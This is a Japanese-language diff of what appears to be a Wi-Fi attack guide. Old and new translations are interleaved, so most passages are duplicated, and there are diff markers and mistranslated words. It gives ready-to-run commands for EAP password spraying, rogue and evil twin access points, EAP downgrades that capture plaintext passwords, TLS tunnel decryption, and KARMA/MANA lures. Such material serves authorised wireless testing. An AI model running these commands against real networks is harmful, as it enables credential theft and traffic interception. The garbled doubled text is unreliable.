選択たプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表すことができます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルによって保護された認証メソッドを続行します。または、PEAP/TTLSサーバーは、新しいRADIUSリクエストをユーザーのホームRADIUSサーバーに転送することができます。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコルレイヤーを省略します。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストで見つかった匿名User-Nameを置き換える、ユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAPTTLSのみでサポートされるである場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかった匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代わります。 選択されたプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの真のアイデンティティを知ることになります。真のアイデンティティはuser@realmまたは単にuserとして表現できます。PEAP/TTLSサーバーがユーザーの認証も担当している場合、ユーザーのアイデンティティを持ち、TLSトンネルによって保護された認証方法を進めます。あるいは、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することがあります。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコル層を省略します。保護された認証方法がEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、受信したRADIUSリクエストからの匿名User-Nameが置き換えられ、ユーザーの真のアイデンティティが含まれます。保護された認証方法がPAPまたはCHAPTTLSのみサポートである場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が送信されるRADIUSメッセージに置き換えられ、受信したRADIUSリクエストに見られる匿名User-NameおよびTTLS EAP-Message属性が置き換えられます。
詳細については、[こちら](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)をチェックしてください。 詳細については[https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)を確認してください。
### EAP-Bruteforce(パスワードスプレー) ### EAP-ブルートフォース(パスワードスプレー)
クライアントが**ユーザー名とパスワード**を使用することが期待される場合(**EAP-TLSはこの場合有効ではありません**)、**ユーザー名のリスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 クライアントが**ユーザー名とパスワード**を使用することが期待される場合(この場合、**EAP-TLSは無効**になります)、**ユーザー名**の**リスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**を使用してアクセスを**ブルートフォース**することができます。
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
あなたは`eaphammer`を使用してこの攻撃を行うこともできます: この攻撃は `eaphammer` を使用しても行うことができます:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -445,42 +446,42 @@ EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライア
--password bananas \ --password bananas \
--user-list users.txt --user-list users.txt
``` ```
## クライアント攻撃理論 ## クライアント攻撃理論
### ネットワーク選択とローミング ### ネットワーク選択とローミング
- 802.11プロトコルは、ステーションが拡張サービスセットESSに参加する方法を定義しますが、ESSまたはそれに含まれるアクセスポイントAPの選択基準を指定しません。 * 802.11プロトコルは、ステーションが拡張サービスセットESSに参加する方法を定義していますが、ESSまたはその中のアクセスポイントAPを選択する基準は指定していません。
- ステーションは、同じESSIDを共有するAP間をローミングし、建物やエリア全体で接続を維持ます。 * ステーションは、同じESSIDを共有するAP間をローミングし、建物やエリア全体で接続を維持できます。
- プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けられていません。 * プロトコルはESSへのステーション認証を要求しますが、ステーションへのAP認証を義務付けていません。
### 優先ネットワークリストPNL ### 優先ネットワークリストPNL
- ステーションは、接続したすべての無線ネットワークのESSIDを、ネットワーク固有の構成詳細と共に、優先ネットワークリストPNLに保存します。 * ステーションは、接続したすべてのワイヤレスネットワークのESSIDを優先ネットワークリストPNLに保存し、ネットワーク固有の設定詳細も含まれます。
- PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを効率化してユーザーエクスペリエンスを向上させます。 * PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを簡素化することでユーザーの体験を向上させます。
### パッシブスキャン ### パッシブスキャン
- APは定期的にビーコンフレームをブロードキャストし、APの存在と機能をアナウンスします。ブロードキャストが無効になっていない限り、APのESSIDも含まれます。 * APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これにはAPのESSIDが含まれますが、ブロードキャストが無効になっている場合は除きます。
- パッシブスキャン中、ステーションはビーコンフレームを受信します。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続する可能性があります。 * パッシブスキャン中、ステーションはビーコーフレームをリスニングします。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
- デバイスのPNLの知識により、既知のネットワークのESSIDを模倣してデバイスをローグAPに接続させることで潜在的な攻撃が可能となります。 * デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスをロゲAPに接続させることができます。
### アクティブプロービング ### アクティブプロービング
- アクティブプロービングには、ステーションがプローブリクエストを送信して近くのAPを検出し、その特性を調べることが含まれます。 * アクティブプロービングは、ステーションが近くのAPとその特性を発見するためにプローブリクエストを送信することを含みます。
- ディレクテッドプローブリクエストは特定のESSIDを対象とし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(非表示ネットワークであっても) * 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。たとえそれが隠れたネットワークであってもです
- ブロードキャストプローブリクエストにはヌルのSSIDフィールドがあり、すべての近くのAPに送信され、ステーションがPNLの内容を開示せずに任意の優先ネットワークをチェックできます。 * ブロードキャストプローブリクエストは空のSSIDフィールドを持ち、すべての近くのAPに送信され、ステーションはPNLの内容を開示することなく、任意の優先ネットワークをチェックできます。
## インターネットにリダイレクトする単純なAP ## インターネットへのリダイレクトを伴うシンプルなAP
より複雑な攻撃を実行する方法を説明する前に、**インターフェース**を**インターネットに接続**した**AP**を**作成**し、その**トラフィック**を**リダイレクト**する方法について説明します。 より複雑な攻撃を実行する方法を説明する前に、**AP**を**作成**し、その**トラフィック**を**インターネット**に接続されたインターフェースに**リダイレクト**する**方法**を説明します。
`ifconfig -a` を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認してください `ifconfig -a`を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します
### DHCP & DNS ### DHCP & DNS
```bash ```bash
apt-get install dnsmasq #Manages DHCP and DNS apt-get install dnsmasq #Manages DHCP and DNS
``` ```
`/etc/dnsmasq.conf` ファイルを作成します: `/etc/dnsmasq.conf`という設定ファイルを作成します:
```ini ```ini
interface=wlan0 interface=wlan0
dhcp-authoritative dhcp-authoritative
@ -492,24 +493,20 @@ log-queries
log-dhcp log-dhcp
listen-address=127.0.0.1 listen-address=127.0.0.1
``` ```
次に、**IPアドレス**と**ルート**を設定します: 次に**IP**と**ルート**を設定します:
```bash ```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
の後、**dnsmasqを起動**します: して**start** dnsmasq:
```bash ```bash
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
### hostapd ### hostapd
hostapdは、Wi-Fiアクセスポイントとして機能するソフトウェアアクセスポイントです。 hostapdを使用すると、ワイヤレスネットワークを作成し、セキュリティ機能をカスタマイズして、ペネトレーションテストを実行できます。 hostapdを使用すると、さまざまなWi-Fi攻撃をシミュレートして、ネットワークの脆弱性を特定できます。
```bash ```bash
apt-get install hostapd apt-get install hostapd
``` ```
```plaintext `hostapd.conf`という設定ファイルを作成します:
`hostapd.conf`ファイルを作成します:
```
```ini ```ini
interface=wlan0 interface=wlan0
driver=nl80211 driver=nl80211
@ -527,63 +524,63 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**うるさいプロセスを停止**し、**モニターモードを設定**し、**hostapdを起動**します: **煩わしいプロセスを停止**し、**モニターモードを設定**し、**hostapdを開始**します:
```bash ```bash
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
ifconfig wlan0 up ifconfig wlan0 up
hostapd ./hostapd.conf hostapd ./hostapd.conf
``` ```
### フォワーディングとリダイレクト ### 転送とリダイレクション
```bash ```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## イービルツイン ## Evil Twin
イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用します。主にネットワーク名ESSIDに依存し、基地局アクセスポイントがクライアントに認証を要求しない特性を利用します。主なポイントは次のとおりです: イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を利用し、主にネットワーク名ESSIDに依存し、ベースステーションアクセスポイントがクライアントに対して認証を行う必要がありません。主なポイントは以下の通りです:
- **区別の難しさ**デバイスは、同じESSIDと暗号化タイプを共有する場合、合法的なアクセスポイントと偽のアクセスポイントを区別するのに苦労します。実世界のネットワークでは、同じESSIDを持つ複数のアクセスポイントがシームレスにカバレッジを拡張するために使用されることがよくあります。 * **区別の難しさ**: デバイスは、同じESSIDと暗号化タイプを共有する正当なアクセスポイントと悪意のあるアクセスポイントを区別するのに苦労します。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
- **クライアントのローミングと接続操作**802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできます。攻撃者は、デバイスを誘導して現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供するか、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。 * **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
- **実行上の課題**:複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントの認証を解除するか、戦略的に偽のアクセスポイントを配置しなければならない場合があります。 * **実行の課題**: 複数の適切に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、悪意のあるアクセスポイントを戦略的に配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はな)を作成することができます: 非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はな)を作成することができます:
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
あなたは**eaphammer**を使用してEvil Twinを作成することもできますeaphammerを使用してEvil Twinを作成するには、インターフェースが**モニター**モードになっていては**いけない**ことに注意してください): あなたは**eaphammer**を使用してEvil Twinを作成することもできますEvil Twinをeaphammerで作成するには、インターフェースは**モニター**モードであってはなりません)。
```bash ```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
またはAirgeddonを使用する`オプション5,6,7,8,9Evil Twin攻撃メニュー内。` Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (1088).png>) ![](<../../.gitbook/assets/image (1088).png>)
デフォルトでは、PNL内のESSIDがWPAで保護されて保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動であなたのオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法を使用すると、被害者をあなたに接続させることはできませんが、PSKを知らないため、ハンドシェイクをキャプチャして解読を試みることができます)。 デフォルトでは、PNLにESSIDがWPA保護として保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPにDoS攻撃を試み、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPにDoS攻撃を行い、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます)。
_一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告します..._ _一部のOSやAVは、オープンネットワークに接続することが危険であるとユーザーに警告します..._
### WPA/WPA2 Evil Twin ### WPA/WPA2 Evil Twin
**WPA/2を使用したEvil Twin**を作成できます。デバイスがWPA/2でそのSSIDに接続するように構成されている場合、接続を試みるでしょう。とにかく、**4ウェイハンドシェイクを完了**するには、クライアントが使用する**パスワード**を**知っている**必要があります。それを**知らない**場合、**接続は完了しません**。 **WPA/2を使用してEvil Twinを作成する**ことができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、**4-way-handshakeを完了するためには**、クライアントが使用する**パスワード**を**知っている必要があります**。**知らない場合**、**接続は完了しません**。
```bash ```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### エンタープライズイービルツイン ### エンタープライズイービルツイン
この攻撃を理解するために、まず[WPAエンタープライズの説明](./#wpa-enterprise-mgt)を読むことをお勧めします。 この攻撃を理解するために、まず[WPAエンタープライズの説明](./#wpa-enterprise-mgt)を読むことをお勧めします。
**hostapd-wpeの使用** **hostapd-wpeの使用**
`hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定を自動化するために、[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)を使用できます_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください `hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定の生成**自動化**するに、[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)を使用できます_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください
```bash ```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、authなど、さまざまな項目を選択できます。 設定ファイルでは、ssid、チャネル、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。
[**EAP-TLSを使用してhostapd-wpeを使用し、任意の証明書でログインを許可する。**](evil-twin-eap-tls.md) [**EAP-TLSを使用して任意の証明書でログインを許可するhostapd-wpeの使用。**](evil-twin-eap-tls.md)
**EAPHammerの使用** **EAPHammerの使用**
```bash ```bash
@ -593,60 +590,60 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
デフォルトでは、EAPHammerはこの認証方法を目的としています平文パスワードを取得するために最初にGTCを試み、その後より堅牢な認証方法を使用します: デフォルトでは、EAPHammerはこの認証方法を目的としています最初に平文パスワードを取得しようとするGTCに注意し、その後により堅牢な認証方法を使用します
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強力な方法まで、サーバーに認証方法を指定することもできます。 これは長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いものへ指定することもできます:
``` ```
--negotiate weakest --negotiate weakest
``` ```
または、次のようにしても利用できます: Or you could also use:
* `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装平文パスワード使用します。 * `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装平文パスワード利用する
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`指定して、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります)。 * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、検出がはるかに難しくなる)。
* [ウィキで詳細情報を見つける](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Airgeddonを使用する** **Using Airgeddon**
`Airgeddon` は以前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、**ユーザーとパスワードのMD5をキャプチャ**できます。後で、攻撃者はパスワードを解読しようと試みることができます。\ `Airgeddon`以前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードし、**ユーザーとパスワードのMD5をキャプチャ**できるようにします。その後、攻撃者はパスワードをクラックしようとすることができます。\
`Airggedon` は**連続的なイービルツイン攻撃(ノイジー)**または**誰かが接続するまでイービルアタックを作成するだけ(スムーズ)**の可能性を提供します。 `Airgedon` は、**継続的なEvil Twin攻撃イジー**または**誰かが接続するまでEvil Attackを作成するだけ(スムーズ)**の可能性を提供します。
![](<../../.gitbook/assets/image (936).png>) ![](<../../.gitbook/assets/image (936).png>)
### Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ ### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_ _この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_
_hostapd-wpe_の**構成**内で、_**dh\_file**_を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\ **hostapd-wpe**の**設定**内で、_**dh\_file**_を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh`から`#dh_file=/etc/hostapd-wpe/certs/dh`へ)\
これにより、`hostapd-wpe` はDHの代わりにRSAを使用して鍵を交換するようになり、後で**サーバーの秘密鍵を知っている**ため、トラフィックを後で**復号**できるようになります。 これにより、`hostapd-wpe`は**DHの代わりにRSAを使用して鍵を交換**するため、**サーバーの秘密鍵を知っていることで後でトラフィックを復号化**できるようになります。
今、通常どおり変更された構成を使用して**hostapd-wpe**を起動して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**を起動します。 次に、通常通りその修正された設定で**`hostapd-wpe`**を使用して**Evil Twin**を開始します。また、**Evil Twin攻撃を実行しているインターフェース**で**`wireshark`**を開始します。
今すぐまたは後で(すでにいくつかの認証意図をキャプチャした場合、wiresharkにプライベートRSA鍵を追加できます: `編集 --> 設定 --> プロトコル --> TLS --> (RSA鍵リスト) 編集...` 今すぐまたは後で(認証の試行をいくつかキャプチャした後)、`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`でwiresharkにプライベートRSAキーを追加できます。
新しいエントリを追加し、次の値を入力します: **IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル****キーファイルを選択**、問題を避けるために**パスワード保護されていないキーファイル**を選択します)。 新しいエントリを追加し、次の値でフォームを埋めます:**IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キー ファイル****キー ファイルを選択**、問題を避けるために**パスワード保護されていないキー ファイルを選択**)。
![](<../../.gitbook/assets/image (687).png>) ![](<../../.gitbook/assets/image (687).png>)
そして、新しい**"Decrypted TLS"タブ**を見てください: 新しい**"Decrypted TLS"タブ**を確認してください:
![](<../../.gitbook/assets/image (231).png>) ![](<../../.gitbook/assets/image (231).png>)
## KARMA、MANA、Loud MANAおよびKnown beacons攻撃 ## KARMA, MANA, Loud MANA and Known beacons attack
### ESSIDおよびMACブラック/ホワイトリスト ### ESSID and MAC black/whitelists
異なる種類のMedia Access Control Filter ListsMFACLsとそれらに対応するローグアクセスポイントAPの振る舞いに及ぼす影響のモード 異なるタイプのメディアアクセス制御フィルターリストMFACLと、それに対応するモードおよび不正アクセスポイントAPの動作への影響
1. **MACベースのホワイトリスト**: 1. **MACベースのホワイトリスト**
* ローグAPは、ホワイトリストに記載されているデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。 * 不正APは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
2. **MACベースのブラックリスト**: 2. **MACベースのブラックリスト**
* ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、これにより、特定のデバイスにはローグAPが見えなくなります。 * 不正APは、ブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
3. **SSIDベースのホワイトリスト**: 3. **SSIDベースのホワイトリスト**
* ローグAPは、リストされている特定のESSIDのプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。 * 不正APは、リストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network ListsPNLそのESSIDが含まれていないデバイスには見えなくなります。
4. **SSIDベースのブラックリスト**: 4. **SSIDベースのブラックリスト**
* ローグAPは、ブラックリスト上の特定のESSIDのプローブリクエストには応答せず、これにより、特定のネットワークを探しているデバイスには見えなくなります。 * 不正APは、ブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
```bash ```bash
# example EAPHammer MFACL file, wildcards can be used # example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af 09:6a:06:c8:36:af
@ -668,33 +665,33 @@ name3
``` ```
### KARMA ### KARMA
この方法は、**デバイスがネットワークに接続しようとする際に発信されるすべてのプローブリクエストに応答する悪意のあるアクセスポイントAPを作成する攻撃者**に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、**デバイスを攻撃者のAPに接続させる**ことができます。デバイスがこの不正なAPに接続要求を送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。 この方法は、**攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイントAPを作成することを可能にします**。この技術は、**デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させる**ことができます。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続してしまいます。
### MANA ### MANA
その後、**デバイスは未要求のネットワーク応答を無視し始め**、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入された**MANA攻撃**として知られる新しい方法があります。この方法では、ローグAPが、デバイスが以前に要求したネットワーク名SSIDでデバイスのブロードキャストプローブリクエストに応答することで、デバイスからの**優先ネットワークリストPNLをキャプチャ**します。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。 その後、**デバイスは無効なネットワーク応答を無視し始め、元のkarma攻撃の効果が減少しました**。しかし、**MANA攻撃**として知られる新しい方法がイアン・デ・ヴィリアーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPが**デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名SSIDを使用して、Preferred Network ListsPNLをキャプチャする**ことを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
MANA攻撃は、デバイスからの指示されたおよびブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘います。 MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるよう誘引します。
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
### ラウドMANA ### Loud MANA
**ラウドMANA攻撃**は、デバイスが指向性プロービングを使用しない場合や、そのデバイスの優先ネットワークリストPNLが攻撃者に不明な場合のための高度な戦略です。この攻撃は、**同じエリアにあるデバイスはPNLでいくつかのネットワーク名を共有する可能性が高い**という原則に基づいています。選択的に応答する代わりに、この攻撃は観測されたすべてのデバイスの結合されたPNLにあるすべてのネットワーク名ESSIDに対してプローブ応答をブロードキャストします。この広範なアプローチにより、デバイスが馴染みのあるネットワークを認識し、ローグアクセスポイントAPに接続しようとする可能性が高まります。 **Loud MANA攻撃**は、デバイスが指向プロービングを使用しない場合や、攻撃者にとってその優先ネットワークリストPNLが不明な場合に使用される高度な戦略です。この攻撃は、**同じエリアにいるデバイスはPNLにいくつかのネットワーク名を共有する可能性が高い**という原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名ESSIDに対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイントAPに接続しようとする可能性を高めます。
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### 既知のビーコン攻撃 ### Known Beacon attack
**Loud MANA攻撃**が十分でない場合、**既知のビーコン攻撃**は別のアプローチを提供します。この方法は、ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースします。これにより、多数のネットワークが存在するかのようにシミュレートされ、被害者のPNL内のESSIDと一致することを期待して、架空のAPへの接続試行が促されます。攻撃は、デバイスを捕らえるより積極的な試みのために`--loud`オプションと組み合わせることで増幅される可能性があります。 **Loud MANA攻撃**が不十分な場合、**Known Beacon攻撃**は別のアプローチを提供します。この方法は、**単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします**。これは、多数のネットワークの存在をシミュレートし、被害者のPNL内のESSIDと一致することを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして`--loud`オプションと組み合わせることで増幅できます。
Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます`--loud`を組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。 Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されますこれを`--loud`と組み合わせてLoud MANA + Known beacons攻撃を作成することもできます
```bash ```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**既知のビーコンバースト攻撃** **Known Beacon Burst attack**
